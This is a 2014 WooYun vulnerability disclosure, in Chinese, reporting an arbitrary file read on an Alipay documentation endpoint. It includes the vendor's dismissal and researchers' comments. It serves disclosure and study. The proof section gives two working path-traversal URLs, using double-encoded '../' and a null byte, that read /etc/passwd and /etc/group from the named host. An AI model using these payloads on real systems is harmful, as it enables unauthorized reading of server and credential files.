当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-050956

漏洞标题：支付宝后台服务器任意文件读取漏洞

相关厂商：支付宝

漏洞作者： 寒风

提交时间：2014-02-22 17:11

修复时间：2014-02-22 19:11

公开时间：2014-02-22 19:11

漏洞类型：任意文件遍历/下载

危害等级：高

自评Rank：15

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-02-22： 细节已通知厂商并且等待厂商处理中
2014-02-22： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

后台Shell命令执行可查看服务器任意文件

详细说明：

漏洞证明：

bug1.png


https://openhome.alipay.com/doc/viewApiDoc.htm?name=alipay.micropay.order.direct.pay&subVersion=1.0&packageCode=MICROPAY&version=..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%2500

bug2.png


https://openhome.alipay.com/doc/viewApiDoc.htm?name=alipay.micropay.order.direct.pay&subVersion=1.0&packageCode=MICROPAY&version=..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fgroup%2500

修复方案：

版权声明：转载请注明来源 寒风@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2014-02-22 19:11

厂商回复：

经过验证，无此漏洞，感谢您对支付宝安全的关注

漏洞Rank：15 (WooYun评价)

最新状态：

暂无

漏洞评价：

评论

  1. 2014-02-22 17:11 | M4sk ( 普通白帽子 | Rank:1199 漏洞数:319 | 国内信息安全任重而道远，还需要厂商和白帽...)

    mark

  2. 2014-02-22 17:14 | 带馅儿馒头 ( 普通白帽子 | Rank:1278 漏洞数:143 | 心在，梦在)

    what~哥看来要赶紧提现了~

  3. 2014-02-22 17:14 | →Ｈack涛 ( 普通白帽子 | Rank:158 漏洞数:55 | 好好学习，天天向上！)

    前排mark！

  4. 2014-02-22 17:14 | 沉默 ( 路人 | Rank:23 漏洞数:6 | 国内知名Web分布式实时计算系统架构师，分...)

    撸主叼爆了

  5. 2014-02-22 17:15 | print_0x0000 ( 实习白帽子 | Rank:88 漏洞数:22 | 一枚苦逼的农民工.)

    这个真心碉堡了～

  6. 2014-02-22 17:15 | 国士无双 ( 路人 | Rank:5 漏洞数:5 | 小伙伴都惊呆了...)

    前排围观，亮了

  7. 2014-02-22 17:18 | sunnyf ( 实习白帽子 | Rank:46 漏洞数:4 )

    牛B，关注

  8. 2014-02-22 17:24 | 龙辰 ( 路人 | Rank:2 漏洞数:1 | The Dark worId Need To Clean The Blood)

    高端大气上档次

  9. 2014-02-22 17:26 | lucky ( 普通白帽子 | Rank:409 漏洞数:84 | 三人行必有我师焉########################...)

    @支付宝 你怎么了？

  10. 2014-02-22 17:42 | Haswell ( 普通白帽子 | Rank:167 漏洞数:18 | HorizonSec @ RDFZ)

    支付宝最近……

  11. 2014-02-22 17:48 | 国士无双 ( 路人 | Rank:5 漏洞数:5 | 小伙伴都惊呆了...)

    @Haswell 真是一波未平一波又起啊，好似来大姨妈不垫纸，各种侧漏...

  12. 2014-02-22 17:53 | zzR 认证白帽子 ( 核心白帽子 | Rank:1382 漏洞数:122 | 收wb 1：5 无限量收 [平台担保])

    请问我支付宝里两毛钱有风险嘛

  13. 2014-02-22 17:54 | GrayTrack ( 实习白帽子 | Rank:75 漏洞数:14 | 灰色轨迹)

    好给力的洞洞

  14. 2014-02-22 18:08 | redrain有节操 ( 普通白帽子 | Rank:183 漏洞数:26 | ztz这下子有165了！>_<'/&\)

    日常刷阿里

  15. 2014-02-22 20:42 | Master ( 路人 | Rank:29 漏洞数:10 )

    阿里也成无良厂商了？

  16. 2014-02-22 21:56 | ylaxfcy ( 普通白帽子 | Rank:178 漏洞数:28 | 技术无黑白，但是人有)

    是被无良了，还是真的无此漏洞

  17. 2014-02-22 23:08 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @ylaxfcy 只要看看服务器上的/etc/passwd就阔以了

  18. 2014-02-22 23:17 | noah ( 普通白帽子 | Rank:384 漏洞数:40 )

    对支付宝只能“呵呵”了

  19. 2014-02-22 23:22 | exploit ( 路人 | Rank:0 漏洞数:2 | support@exploit.net)

    炒作

  20. 2014-02-22 23:57 | ylaxfcy ( 普通白帽子 | Rank:178 漏洞数:28 | 技术无黑白，但是人有)

    @xsser 之前不是有过否认漏洞然后悄悄修复吗

  21. 2014-02-23 09:03 | Anymous ( 普通白帽子 | Rank:124 漏洞数:28 )

    @阿里巴巴 阿里无良？

  22. 2014-02-23 09:49 | 川川 ( 实习白帽子 | Rank:68 漏洞数:28 | 今天我刷屏)

    若是修复后忽略可是会有更多争端哦 WooYun: 支付宝一个修复后被忽略的漏洞再次进行任意文件遍历下载